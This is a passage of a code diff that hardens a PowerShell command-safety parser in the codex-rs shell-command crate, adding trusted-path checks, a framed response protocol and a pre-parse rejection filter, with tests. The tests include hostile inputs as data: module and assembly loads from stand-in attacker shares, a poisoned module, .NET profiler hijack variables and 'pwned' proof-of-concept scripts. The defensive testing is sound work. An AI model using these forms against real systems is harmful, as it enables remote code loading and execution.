+ .env("POWERSHELL_UPDATECHECK", "Off") + .current_dir(parser_home); + Ok(()) +} + +fn read_bounded_response_line( + reader: &mut impl BufRead, + max_bytes: usize, +) -> std::io::Result { + let mut line = String::new(); + let limit = u64::try_from(max_bytes) + .map_err(|_| invalid_response("response limit does not fit in u64"))? + .saturating_add(1); + let mut limited = std::io::Read::take(reader, limit); + let bytes_read = limited.read_line(&mut line)?; + if bytes_read == 0 { + return Err(std::io::Error::new( + ErrorKind::UnexpectedEof, + "PowerShell parser closed stdout", + )); + } + if bytes_read > max_bytes { + return Err(invalid_response( + "PowerShell parser response exceeded the limit", + )); + } + if !line.ends_with('\n') { + return Err(std::io::Error::new( + ErrorKind::UnexpectedEof, + "PowerShell parser response was not newline-terminated", + )); + } + Ok(line) +} + impl Drop for PowershellParserProcess { fn drop(&mut self) { kill_child(&mut self.child); @@ -209,37 +508,113 @@ fn take_child_stdout(child: &mut Child) -> std::io::Result std::io::Result { - serde_json::to_string(request).map_err(|error| { - std::io::Error::new( + if request.payload.contains(['\t', '\r', '\n']) { + return Err(std::io::Error::new( ErrorKind::InvalidData, - format!("failed to serialize PowerShell parser request: {error}"), - ) - }) + "PowerShell parser request payload contains a framing delimiter", + )); + } + Ok(format!("{}\t{}", request.id, request.payload)) } fn deserialize_response(response_line: &str) -> std::io::Result { - serde_json::from_str(response_line).map_err(|error| { - std::io::Error::new( - ErrorKind::InvalidData, - format!("failed to parse PowerShell parser response: {error}"), - ) + let response_line = response_line.trim_end_matches(['\r', '\n']); + let mut fields = response_line.splitn(3, '\t'); + let id = fields + .next() + .ok_or_else(|| invalid_response("missing request id"))? + .parse::() + .map_err(|_| invalid_response("invalid request id"))?; + let status = fields + .next() + .ok_or_else(|| invalid_response("missing status"))? + .to_string(); + let payload = fields + .next() + .ok_or_else(|| invalid_response("missing payload"))?; + let commands = if status == "ok" { + Some(decode_commands_payload(payload)?) + } else { + if !payload.is_empty() { + return Err(invalid_response("non-ok response contains a payload")); + } + None + }; + + Ok(PowershellParserResponse { + id, + status, + commands, }) } -#[derive(Serialize)] struct PowershellParserRequest { id: u64, payload: String, } -#[derive(Deserialize)] -#[serde(deny_unknown_fields)] +#[derive(Debug, PartialEq, Eq)] struct PowershellParserResponse { id: u64, status: String, commands: Option>>, } +fn decode_commands_payload(payload: &str) -> std::io::Result>> { + let bytes = BASE64_STANDARD + .decode(payload) + .map_err(|_| invalid_response("commands payload is not valid base64"))?; + let mut offset = 0usize; + let command_count = read_payload_u32(&bytes, &mut offset)?; + let command_count = usize::try_from(command_count) + .map_err(|_| invalid_response("command count does not fit in usize"))?; + let mut commands = Vec::with_capacity(command_count.min(bytes.len())); + + for _ in 0..command_count { + let word_count = read_payload_u32(&bytes, &mut offset)?; + let word_count = usize::try_from(word_count) + .map_err(|_| invalid_response("word count does not fit in usize"))?; + let mut command = Vec::with_capacity(word_count.min(bytes.len())); + for _ in 0..word_count { + let word_len = read_payload_u32(&bytes, &mut offset)?; + let word_len = usize::try_from(word_len) + .map_err(|_| invalid_response("word length does not fit in usize"))?; + let word_end = offset + .checked_add(word_len) + .filter(|end| *end <= bytes.len()) + .ok_or_else(|| invalid_response("word extends beyond commands payload"))?; + let word = std::str::from_utf8(&bytes[offset..word_end]) + .map_err(|_| invalid_response("command word is not valid UTF-8"))?; + command.push(word.to_string()); + offset = word_end; + } + commands.push(command); + } + + if offset != bytes.len() { + return Err(invalid_response("commands payload has trailing data")); + } + Ok(commands) +} + +fn read_payload_u32(bytes: &[u8], offset: &mut usize) -> std::io::Result { + let end = offset + .checked_add(4) + .filter(|end| *end <= bytes.len()) + .ok_or_else(|| invalid_response("commands payload ended before a length field"))?; + let value = u32::from_le_bytes( + bytes[*offset..end] + .try_into() + .map_err(|_| invalid_response("invalid length field"))?, + ); + *offset = end; + Ok(value) +} + +fn invalid_response(message: &str) -> std::io::Error { + std::io::Error::new(ErrorKind::InvalidData, message) +} + impl PowershellParserResponse { fn into_outcome(self) -> PowershellParseOutcome { match self.status.as_str() { @@ -259,26 +634,40 @@ impl PowershellParserResponse { } } +#[cfg(test)] +#[path = "powershell_parser_response_tests.rs"] +mod response_tests; + fn kill_child(child: &mut Child) { let _ = child.kill(); let _ = child.wait(); } +#[cfg(test)] +#[path = "powershell_parser_trust_tests.rs"] +mod trust_tests; + #[cfg(all(test, windows))] mod tests { use super::*; - use crate::powershell::try_find_powershell_executable_blocking; use pretty_assertions::assert_eq; - #[test] - fn parser_process_handles_multiple_requests() { - let Some(powershell) = try_find_powershell_executable_blocking() else { - return; - }; - let powershell = powershell.as_path().to_str().unwrap(); - let mut parser = PowershellParserProcess::spawn(powershell).unwrap(); + fn words(items: &[&str]) -> Vec { + items.iter().map(ToString::to_string).collect() + } - let first = parser.parse("Get-Content 'foo bar'").unwrap(); + #[test] + fn production_resolver_handles_multiple_windows_powershell_requests() { + let Some(powershell) = trusted_windows_powershell_invocation_path() else { + panic!("Windows PowerShell must exist at the authoritative System known folder"); + }; + let Some(powershell) = powershell.to_str() else { + panic!("the Windows System known folder must be valid UTF-8"); + }; + + let first = try_parse_powershell_ast_commands(powershell, "Get-Content 'foo bar'") + .map(PowershellParseOutcome::Commands) + .unwrap(); assert_eq!( first, PowershellParseOutcome::Commands(vec![vec![ @@ -287,7 +676,10 @@ mod tests { ]]), ); - let second = parser.parse("Write-Output foo | Measure-Object").unwrap(); + let second = + try_parse_powershell_ast_commands(powershell, "Write-Output foo | Measure-Object") + .map(PowershellParseOutcome::Commands) + .unwrap(); assert_eq!( second, PowershellParseOutcome::Commands(vec![ @@ -298,12 +690,40 @@ mod tests { } #[test] - fn parser_process_rejects_stop_parsing_forms() { - let Some(powershell) = try_find_powershell_executable_blocking() else { + fn production_resolver_uses_standard_machine_wide_pwsh_when_installed() { + let Some(pwsh) = trusted_standard_pwsh_invocation_path() else { + eprintln!( + "skipping standard pwsh trust test because Program Files\\PowerShell\\7\\pwsh.exe is not installed" + ); return; }; - let powershell = powershell.as_path().to_str().unwrap(); - let mut parser = PowershellParserProcess::spawn(powershell).unwrap(); + let Some(pwsh) = pwsh.to_str() else { + panic!("the Program Files known folder must be valid UTF-8"); + }; + + assert_eq!( + try_parse_powershell_ast_commands(pwsh, "pwd && ls"), + Some(vec![vec!["pwd".to_string()], vec!["ls".to_string()]]) + ); + } + + fn trusted_windows_powershell_parser() -> PathBuf { + let Some(invocation_path) = trusted_windows_powershell_invocation_path() else { + panic!("Windows PowerShell must exist at the authoritative System known folder"); + }; + let Some(invocation_path_str) = invocation_path.to_str() else { + panic!("the Windows System known folder must be valid UTF-8"); + }; + let Some(parser) = trusted_powershell_parser_executable(invocation_path_str) else { + panic!("the production trust resolver must accept Windows PowerShell"); + }; + parser + } + + #[test] + fn parser_process_rejects_stop_parsing_forms() { + let powershell = trusted_windows_powershell_parser(); + let mut parser = PowershellParserProcess::spawn(&powershell).unwrap(); let parsed = parser .parse("git log --% HEAD --output=codex_poc.txt") @@ -313,11 +733,8 @@ mod tests { #[test] fn parser_process_rejects_param_blocks() { - let Some(powershell) = try_find_powershell_executable_blocking() else { - return; - }; - let powershell = powershell.as_path().to_str().unwrap(); - let mut parser = PowershellParserProcess::spawn(powershell).unwrap(); + let powershell = trusted_windows_powershell_parser(); + let mut parser = PowershellParserProcess::spawn(&powershell).unwrap(); let parsed = parser .parse("param([string]$path = (Get-Location)) Write-Output test") @@ -327,11 +744,8 @@ mod tests { #[test] fn parser_process_rejects_named_blocks() { - let Some(powershell) = try_find_powershell_executable_blocking() else { - return; - }; - let powershell = powershell.as_path().to_str().unwrap(); - let mut parser = PowershellParserProcess::spawn(powershell).unwrap(); + let powershell = trusted_windows_powershell_parser(); + let mut parser = PowershellParserProcess::spawn(&powershell).unwrap(); let parsed = parser .parse("begin { Set-Content codex_poc.txt pwned } end { Get-Content Cargo.toml }") @@ -341,11 +755,8 @@ mod tests { #[test] fn parser_process_rejects_using_statements() { - let Some(powershell) = try_find_powershell_executable_blocking() else { - return; - }; - let powershell = powershell.as_path().to_str().unwrap(); - let mut parser = PowershellParserProcess::spawn(powershell).unwrap(); + let powershell = trusted_windows_powershell_parser(); + let mut parser = PowershellParserProcess::spawn(&powershell).unwrap(); let parsed = parser .parse("using module ./codex_poc.psm1\nGet-Content Cargo.toml") @@ -353,13 +764,151 @@ mod tests { assert_eq!(parsed, PowershellParseOutcome::Unsupported); } + #[test] + fn parser_process_rejects_preparse_and_script_requirement_forms() { + let powershell = trusted_windows_powershell_parser(); + let mut parser = PowershellParserProcess::spawn(&powershell).unwrap(); + + for script in [ + "#Requires -Modules CodexProbe\nGet-Content Cargo.toml", + "Get-Content Cargo.toml\n#Requires -Modules C:\\workspace\\CodexProbe.psm1", + "#Requires -Modules C:\\workspace\\CodexProbe.psd1\nGet-Content Cargo.toml", + r#"#Requires -Modules @{ ModuleName = "CodexProbe"; ModuleVersion = "1.0" } +Get-Content Cargo.toml"#, + "#Requires -Version 5.1\nGet-Content Cargo.toml", + "UsInG MoDuLe '\\\\attacker\\share\\Evil.psd1'\nGet-Content Cargo.toml", + "configuration CodexProbe { Import-DscResource -ModuleName '\\\\attacker\\share\\Evil.psd1' }", + ] { + assert_eq!( + parser.parse(script).unwrap(), + PowershellParseOutcome::Unsupported, + "pre-parser construct must be unsupported: {script:?}", + ); + } + } + + #[test] + fn parser_process_never_sends_assembly_qualified_types_to_sma() { + let powershell = trusted_windows_powershell_parser(); + let mut parser = PowershellParserProcess::spawn(&powershell).unwrap(); + + for source in [ + "[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]", + "[Codex.DoesNotExist, //attacker/share/Evil]", + r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]", + r"[Codex.DoesNotExist, \\attacker\share\Evil]", + "[Codex.DoesNotExist <# ] #>, C:/workspace/Codex.AttackerAssembly]", + ] { + let next_request_id = parser.next_request_id; + assert_eq!( + parser.parse(source).unwrap(), + PowershellParseOutcome::Unsupported, + ); + assert_eq!( + parser.next_request_id, next_request_id, + "assembly-qualified type reached the parser child: {source:?}", + ); + } + } + + #[test] + fn parser_process_isolates_inherited_environment_and_module_search() { + let temp = tempfile::tempdir().unwrap(); + let marker = temp.path().join("autoload-marker"); + let marker_for_powershell = marker.to_string_lossy().replace('\'', "''"); + let module_dir = temp + .path() + .join("Modules") + .join("Microsoft.PowerShell.Utility"); + std::fs::create_dir_all(&module_dir).unwrap(); + std::fs::write( + module_dir.join("Microsoft.PowerShell.Utility.psd1"), + r#"@{ + RootModule = 'Microsoft.PowerShell.Utility.psm1' + ModuleVersion = '1.0.0' + GUID = '4ce19c99-2640-4f33-94e1-b7f1dc95306e' + FunctionsToExport = @('ConvertFrom-Json', 'ConvertTo-Json') +}"#, + ) + .unwrap(); + std::fs::write( + module_dir.join("Microsoft.PowerShell.Utility.psm1"), + r#"[System.IO.File]::WriteAllText('__MARKER__', 'autoloaded') +function ConvertFrom-Json { process { @{ id = 0; payload = '' } } } +function ConvertTo-Json { process { 'poisoned' } } +"# + .replace("__MARKER__", &marker_for_powershell), + ) + .unwrap(); + + let mut executables = vec![trusted_windows_powershell_parser()]; + if let Some(pwsh) = trusted_standard_pwsh_invocation_path() { + executables.push(pwsh); + } + + for (index, executable) in executables.into_iter().enumerate() { + let mut command = Command::new(&executable); + command.env("PSModulePath", temp.path().join("Modules")); + for name in [ + "DOTNET_STARTUP_HOOKS", + "DOTNET_ADDITIONAL_DEPS", + "DOTNET_SHARED_STORE", + "DOTNET_ROOT", + "CORECLR_PROFILER_PATH", + "COR_PROFILER_PATH", + "PATH", + "HOME", + "USERPROFILE", + "APPDATA", + "LOCALAPPDATA", + ] { + command.env(name, temp.path()); + } + command + .env("CORECLR_ENABLE_PROFILING", "1") + .env("CORECLR_PROFILER", "{4CE19C99-2640-4F33-94E1-B7F1DC95306E}") + .env("COR_ENABLE_PROFILING", "1") + .env("COR_PROFILER", "{4CE19C99-2640-4F33-94E1-B7F1DC95306E}") + .env("COMPlus_ReadyToRun", "0") + .current_dir(temp.path()); + let mut parser = + PowershellParserProcess::spawn_command(&executable, &mut command).unwrap(); + + for (script, expected) in [ + ( + "# ordinary comment\nGet-Content Cargo.toml", + PowershellParseOutcome::Commands(vec![words(&["Get-Content", "Cargo.toml"])]), + ), + ( + "Write-Output 'fóó'; Measure-Object", + PowershellParseOutcome::Commands(vec![ + words(&["Write-Output", "fóó"]), + words(&["Measure-Object"]), + ]), + ), + ("", PowershellParseOutcome::Unsupported), + ( + "Get-Content repeated.txt", + PowershellParseOutcome::Commands(vec![words(&["Get-Content", "repeated.txt"])]), + ), + ] { + assert_eq!( + parser.parse(script).unwrap(), + expected, + "protected parser {executable:?} request {index} must work in isolation", + ); + } + assert!( + !marker.exists(), + "protected parser {executable:?} loaded user-controlled startup code", + ); + } + } + #[test] fn parser_process_rejects_trap_blocks() { - let Some(powershell) = try_find_powershell_executable_blocking() else { - return; - }; - let powershell = powershell.as_path().to_str().unwrap(); - let mut parser = PowershellParserProcess::spawn(powershell).unwrap(); + let powershell = trusted_windows_powershell_parser(); + let mut parser = PowershellParserProcess::spawn(&powershell).unwrap(); let parsed = parser .parse( diff --git a/codex-rs/shell-command/src/command_safety/powershell_parser_response_tests.rs b/codex-rs/shell-command/src/command_safety/powershell_parser_response_tests.rs new file mode 100644 index 0000000000..4003a590bd --- /dev/null +++ b/codex-rs/shell-command/src/command_safety/powershell_parser_response_tests.rs @@ -0,0 +1,121 @@ +use super::*; +use pretty_assertions::assert_eq; + +fn encode_commands(commands: &[&[&str]]) -> String { + let mut bytes = Vec::new(); + bytes.extend_from_slice(&u32::try_from(commands.len()).unwrap().to_le_bytes()); + for command in commands { + bytes.extend_from_slice(&u32::try_from(command.len()).unwrap().to_le_bytes()); + for word in *command { + bytes.extend_from_slice(&u32::try_from(word.len()).unwrap().to_le_bytes()); + bytes.extend_from_slice(word.as_bytes()); + } + } + BASE64_STANDARD.encode(bytes) +} + +#[test] +fn framed_protocol_preserves_ids_and_command_words() { + for (id, payload, expected) in [ + ( + 42, + "RwBlAHQALQBDAG8AbgB0AGUAbgB0AA==", + "42\tRwBlAHQALQBDAG8AbgB0AGUAbgB0AA==", + ), + (43, "", "43\t"), + ] { + assert_eq!( + serialize_request(&PowershellParserRequest { + id, + payload: payload.into() + }) + .unwrap(), + expected, + ); + } + + let payload = encode_commands(&[&["Get-Content", "fóó.txt"], &["Measure-Object"]]); + assert_eq!( + deserialize_response(&format!("42\tok\t{payload}\r\n")).unwrap(), + PowershellParserResponse { + id: 42, + status: "ok".into(), + commands: Some(vec![ + ["Get-Content", "fóó.txt"].map(str::to_string).to_vec(), + vec!["Measure-Object".into()], + ]), + }, + ); +} + +#[test] +fn framed_protocol_rejects_malformed_command_payloads() { + let encode = |bytes| format!("1\tok\t{}", BASE64_STANDARD.encode(bytes)); + for response in [ + "missing-fields".into(), + "1\tok".into(), + "x\tunsupported\t".into(), + "1\tunsupported\tnot-empty".into(), + "1\tunsupported\t\textra".into(), + "1\tok\tnot-base64!".into(), + encode(vec![1, 0, 0]), + encode(vec![u8::MAX; 4]), + encode(vec![1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, u8::MAX]), + encode(vec![1, 0, 0, 0, 1, 0, 0, 0, 255, 255, 255, 255]), + encode(vec![0, 0, 0, 0, u8::MAX]), + ] { + assert!( + deserialize_response(&response).is_err(), + "accepted {response:?}" + ); + } + assert!( + serialize_request(&PowershellParserRequest { + id: 1, + payload: "bad\tpayload".into(), + }) + .is_err() + ); +} + +#[test] +fn framed_protocol_bounds_lines_and_distinguishes_outcomes() { + let mut complete = std::io::Cursor::new(b"1\tunsupported\t\n".as_slice()); + assert_eq!( + read_bounded_response_line(&mut complete, /*max_bytes*/ 32).unwrap(), + "1\tunsupported\t\n" + ); + for bytes in [b"123456789\n".as_slice(), b"unterminated".as_slice()] { + assert!( + read_bounded_response_line(&mut std::io::Cursor::new(bytes), /*max_bytes*/ 8,).is_err() + ); + } + + for (status, commands, expected) in [ + ("unsupported", None, PowershellParseOutcome::Unsupported), + ("ok", Some(Vec::new()), PowershellParseOutcome::Unsupported), + ( + "ok", + Some(vec![Vec::new()]), + PowershellParseOutcome::Unsupported, + ), + ( + "ok", + Some(vec![vec![String::new()]]), + PowershellParseOutcome::Unsupported, + ), + ("parse_failed", None, PowershellParseOutcome::Failed), + ("parse_errors", None, PowershellParseOutcome::Failed), + ("unknown", None, PowershellParseOutcome::Failed), + ] { + assert_eq!( + PowershellParserResponse { + id: 0, + status: status.into(), + commands + } + .into_outcome(), + expected, + ); + } +} diff --git a/codex-rs/shell-command/src/command_safety/powershell_parser_trust_tests.rs b/codex-rs/shell-command/src/command_safety/powershell_parser_trust_tests.rs new file mode 100644 index 0000000000..66caa8efe8 --- /dev/null +++ b/codex-rs/shell-command/src/command_safety/powershell_parser_trust_tests.rs @@ -0,0 +1,195 @@ +use super::*; +use pretty_assertions::assert_eq; +use std::io; +use std::path::PathBuf; + +const DEFAULT_SYSTEM_ROOT: &str = r"C:\Windows\System32"; +const DEFAULT_PROGRAM_FILES_ROOT: &str = r"C:\Program Files"; +const DEFAULT_WINDOWS_POWERSHELL_EXE: &str = + r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"; +const DEFAULT_WINDOWS_PWSH_EXE: &str = r"C:\Program Files\PowerShell\7\pwsh.exe"; + +fn default_root(root: TrustedPowerShellRoot) -> io::Result { + Ok(match root { + TrustedPowerShellRoot::System => PathBuf::from(DEFAULT_SYSTEM_ROOT), + TrustedPowerShellRoot::ProgramFiles => PathBuf::from(DEFAULT_PROGRAM_FILES_ROOT), + }) +} + +fn resolve_existing(executable: &str) -> Option { + resolve_trusted_powershell_parser_executable_with( + executable, + default_root, + |path| Ok(path.to_path_buf()), + |_| true, + ) +} + +#[test] +fn accepts_only_authoritative_powershell_paths() { + assert_eq!( + resolve_existing(DEFAULT_WINDOWS_POWERSHELL_EXE), + Some(PathBuf::from(DEFAULT_WINDOWS_POWERSHELL_EXE)), + ); + assert_eq!( + resolve_existing(r"c:/WINDOWS/System32/WindowsPowerShell/v1.0/POWERSHELL.EXE"), + Some(PathBuf::from(DEFAULT_WINDOWS_POWERSHELL_EXE)), + ); + assert_eq!( + resolve_existing(r"\\?\C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"), + Some(PathBuf::from(DEFAULT_WINDOWS_POWERSHELL_EXE)), + ); + assert_eq!( + resolve_existing(DEFAULT_WINDOWS_PWSH_EXE), + Some(PathBuf::from(DEFAULT_WINDOWS_PWSH_EXE)), + ); + assert_eq!( + resolve_existing(r"c:/program files/powershell/7/PWSH.EXE"), + Some(PathBuf::from(DEFAULT_WINDOWS_PWSH_EXE)), + ); +} + +#[test] +fn derives_trust_from_non_c_known_folders() { + let resolve_root = |root| { + Ok(match root { + TrustedPowerShellRoot::System => PathBuf::from(r"D:\Windows\System32"), + TrustedPowerShellRoot::ProgramFiles => PathBuf::from(r"E:\Program Files"), + }) + }; + let resolve = |executable| { + resolve_trusted_powershell_parser_executable_with( + executable, + resolve_root, + |path| Ok(path.to_path_buf()), + |_| true, + ) + }; + + assert_eq!( + resolve(r"d:/WINDOWS/System32/WindowsPowerShell/v1.0/POWERSHELL.EXE"), + Some(PathBuf::from( + r"D:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" + )), + ); + assert_eq!( + resolve(r"E:\Program Files\PowerShell\7\pwsh.exe"), + Some(PathBuf::from(r"E:\Program Files\PowerShell\7\pwsh.exe")), + ); + assert_eq!(resolve(DEFAULT_WINDOWS_POWERSHELL_EXE), None); + assert_eq!(resolve(DEFAULT_WINDOWS_PWSH_EXE), None); +} + +#[test] +fn rejects_search_path_and_workspace_controlled_variants() { + for executable in [ + "powershell", + "powershell.exe", + "pwsh", + "pwsh.exe", + r".\powershell.exe", + r".\pwsh.exe", + "./powershell.exe", + "./pwsh.exe", + r"tools\powershell.exe", + r"tools\pwsh.exe", + r"C:\workspace\powershell.exe", + r"C:\workspace\pwsh.exe", + r"\\server\share\pwsh.exe", + ] { + assert_eq!( + resolve_existing(executable), + None, + "{executable:?} must not be launched as a parser", + ); + } +} + +#[test] +fn rejects_command_wrappers_and_path_aliases() { + for executable in [ + r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.cmd", + r"C:\Program Files\PowerShell\7\pwsh.cmd", + r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell", + r"C:\Program Files\PowerShell\7\pwsh", + r"C:\Windows\System32\WindowsPowerShell\v1.0\..\powershell.exe", + r"\\.\C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", + r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.cmd", + r"C:\Program Files\PowerShell\7\pwsh.exe.cmd", + ] { + assert_eq!( + resolve_existing(executable), + None, + "{executable:?} must fail closed", + ); + } +} + +#[test] +fn fails_closed_when_a_known_folder_or_install_is_missing() { + let resolve_root = |root| match root { + TrustedPowerShellRoot::System => Err(io::Error::new( + io::ErrorKind::NotFound, + "system root unavailable", + )), + TrustedPowerShellRoot::ProgramFiles => Ok(PathBuf::from(DEFAULT_PROGRAM_FILES_ROOT)), + }; + + assert_eq!( + resolve_trusted_powershell_parser_executable_with( + DEFAULT_WINDOWS_POWERSHELL_EXE, + resolve_root, + |path| Ok(path.to_path_buf()), + |_| true, + ), + None, + ); + assert_eq!( + resolve_trusted_powershell_parser_executable_with( + DEFAULT_WINDOWS_PWSH_EXE, + resolve_root, + |path| Ok(path.to_path_buf()), + |_| true, + ), + Some(PathBuf::from(DEFAULT_WINDOWS_PWSH_EXE)), + ); + assert_eq!( + resolve_trusted_powershell_parser_executable_with( + DEFAULT_WINDOWS_PWSH_EXE, + resolve_root, + |path| Ok(path.to_path_buf()), + |_| false, + ), + None, + ); +} + +#[test] +fn rejects_canonicalization_failures_and_reparse_escape() { + assert_eq!( + resolve_trusted_powershell_parser_executable_with( + DEFAULT_WINDOWS_POWERSHELL_EXE, + default_root, + |_| Err(io::Error::other("canonicalization failed")), + |_| true, + ), + None, + ); + + let escaped = resolve_trusted_powershell_parser_executable_with( + DEFAULT_WINDOWS_POWERSHELL_EXE, + default_root, + |path| { + if path + .to_string_lossy() + .ends_with(r"WindowsPowerShell\v1.0\powershell.exe") + { + Ok(PathBuf::from(r"C:\Users\attacker\powershell.exe")) + } else { + Ok(path.to_path_buf()) + } + }, + |_| true, + ); + assert_eq!(escaped, None); +} diff --git a/codex-rs/shell-command/src/command_safety/powershell_preparse.rs b/codex-rs/shell-command/src/command_safety/powershell_preparse.rs new file mode 100644 index 0000000000..243d4673bd --- /dev/null +++ b/codex-rs/shell-command/src/command_safety/powershell_preparse.rs @@ -0,0 +1,40 @@ +/// Returns whether a PowerShell source must be rejected before calling `Parser::ParseInput`. +/// +/// `ParseInput` is not a side-effect-free syntax parser. Its semantic passes can resolve `using` +/// directives, initialize DSC configuration keywords, and resolve assembly-qualified type names, +/// any of which may inspect or load a source-selected path. Keep the pre-parser deliberately +/// coarse and auditable: suspicious raw forms are handled by the outer-command policy without +/// sending the source to System.Management.Automation. +pub(super) fn requires_preparse_rejection(source: &str) -> bool { + source.contains('`') + || contains_bracket_before_later_comma(source) + || ["using", "configuration", "import-dscresource"] + .into_iter() + .any(|keyword| contains_ignore_ascii_case(source, keyword)) +} + +/// Assembly-qualified PowerShell type syntax contains `[` before a later `,`. Once an opening +/// bracket is seen, deliberately never reset on `]`: comments and strings can contain a closing +/// bracket before the real assembly delimiter, while `ParseInput` still resolves the assembly. +fn contains_bracket_before_later_comma(source: &str) -> bool { + let mut saw_bracket = false; + for byte in source.bytes() { + match byte { + b'[' => saw_bracket = true, + b',' if saw_bracket => return true, + _ => {} + } + } + false +} + +fn contains_ignore_ascii_case(source: &str, needle: &str) -> bool { + source + .as_bytes() + .windows(needle.len()) + .any(|window| window.eq_ignore_ascii_case(needle.as_bytes())) +} + +#[cfg(test)] +#[path = "powershell_preparse_tests.rs"] +mod tests; diff --git a/codex-rs/shell-command/src/command_safety/powershell_preparse_tests.rs b/codex-rs/shell-command/src/command_safety/powershell_preparse_tests.rs new file mode 100644 index 0000000000..628cd57871 --- /dev/null +++ b/codex-rs/shell-command/src/command_safety/powershell_preparse_tests.rs @@ -0,0 +1,62 @@ +use super::requires_preparse_rejection; + +#[test] +fn rejects_every_possible_parse_time_construct_before_semantic_parsing() { + for source in [ + r"using module '\\attacker\share\Evil.psd1'", + r"using module .\workspace\Evil.psd1", + "UsInG <# formatting #>\n MoDuLe '\\\\attacker\\share\\Evil.psd1'", + r"configuration CodexProbe { Import-DscResource -ModuleName '\\attacker\share\Evil.psd1' }", + r"[DscLocalConfigurationManager()] CoNfIgUrAtIoN CodexProbe { + ImPoRt-DsCrEsOuRcE -ModuleName '\\attacker\share\Evil.psd1' + }", + r"$value=1,using module '\\attacker\share\Evil.psd1'", + r"$value[using module '\\attacker\share\Evil.psd1'", + r"$value..configuration CodexProbe { Import-DscResource }", + "$$using module Foo", + "u`sing module Foo", + "configura`tion CodexProbe {}", + "Get-Content `\n Cargo.toml", + "Write-Output x` #; configuration CodexProbe {}", + "# using module Foo\nGet-Content Cargo.toml", + "<# configuration CodexProbe {} #>\nGet-Content Cargo.toml", + r"Write-Output 'using module Foo'", + r#"Write-Output "configuration CodexProbe {}""#, + r"Get-Content C:\configuration\using\file.txt", + "[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]", + "[Codex.DoesNotExist, //tmp/Codex.AttackerAssembly]", + r"[Codex.DoesNotExist, C:\workspace\Codex.AttackerAssembly]", + r"[Codex.DoesNotExist, \\attacker\share\Evil]", + "[Codex.DoesNotExist, C:/workspace/Codex.AttackerAssembly]", + "[Codex.DoesNotExist, //attacker/share/Evil]", + "[Codex.DoesNotExist <# ] #>, /tmp/Codex.AttackerAssembly]", + "[Codex.DoesNotExist\n,\n/tmp/Codex.AttackerAssembly]", + "[System.Collections.Generic.Dictionary[string, Codex.DoesNotExist]]", + "[System.Collections.Generic.List[[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]]]", + "[Codex.DoesNotExistAttribute, Codex.AttackerAssembly()] class C {}", + "[Codex.DoesNotExistAttribute <# ] #>, /tmp/Codex.AttackerAssembly()] class C {}", + "Write-Output '[not a type]'; Write-Output a,b", + "# [ inert\nWrite-Output a,b", + ] { + assert!(requires_preparse_rejection(source), "accepted {source:?}"); + } +} + +#[test] +fn allows_sources_without_raw_semantic_keywords() { + for source in [ + "# ordinary comment\nGet-Content Cargo.toml", + r#"Write-Output "ordinary string""#, + r#"confi"guration" CodexProbe {}"#, + "u'sing' module Foo", + "#Requires -Modules C:\\workspace\\CodexProbe.psm1\nGet-Content Cargo.toml", + "[System.String]::Empty", + "$items[0]", + "Write-Output 1,2; [System.String]::Empty", + "Write-Output '[not a type]'", + "[Codex.DoesNotExist, /tmp/Codex.AttackerAssembly]", + "[Codex.DoesNotExist، /tmp/Codex.AttackerAssembly]", + ] { + assert!(!requires_preparse_rejection(source), "rejected {source:?}"); + } +} diff --git a/codex-rs/shell-command/src/command_safety/windows_safe_commands.rs b/codex-rs/shell-command/src/command_safety/windows_safe_commands.rs index df2025253b..d54aab491f 100644 --- a/codex-rs/shell-command/src/command_safety/windows_safe_commands.rs +++ b/codex-rs/shell-command/src/command_safety/windows_safe_commands.rs @@ -1,6 +1,5 @@ use crate::command_safety::is_safe_command::is_safe_git_command; -use crate::command_safety::powershell_parser::PowershellParseOutcome; -use crate::command_safety::powershell_parser::parse_with_powershell_ast; +use crate::command_safety::powershell_parser::try_parse_powershell_ast_commands; use std::path::Path; /// On Windows, we conservatively allow only clearly read-only PowerShell invocations @@ -94,13 +93,7 @@ fn parse_powershell_invocation(executable: &str, args: &[String]) -> Option' or pwsh.exe -Command: